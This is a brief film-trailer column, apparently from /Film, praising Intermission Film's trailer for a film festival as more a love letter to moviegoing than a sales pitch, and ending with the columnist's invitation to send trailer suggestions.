One of the issues with film festivals is the amount of choice. Some fests sell themselves (Sundance, for exmaple), but others take a little more coaxing. And for those festivals where it’s a bit more nebulous about whether or not you would want to attend them, it’s a sticky wicket. You have so many choices, so many diverse narratives, and it can almost be too overwhelming to assess. This is where the indomitable talents of the folks at Intermission Film step in.

It makes complete sense that if you have an event where you have so many different tones and stories happening at the same time that you ought to have a hive mind that can create a throughline through them all. The trailer here deliciously tees up the promise for so many positive experiences in a theater. Instead of inferring things from a static website or trying to decipher an ad developed by a jamoke who doesn’t know any better, this trailer is indicative of what means to appreciate movies and the power they possess.

It’s those small moments, those quirks and nuances of snippets that provide no context, that make this trailer more like a love letter than a sales tool.

Nota bene: If you have any suggestions of trailers for possible inclusion in this column, even have a trailer of your own to pitch, please let me know by sending me a note at Christopher_Stipp@yahoo.com or look me up via Twitter at @Stipp

In case you missed them, here are the other trailers we covered at /Film this week:

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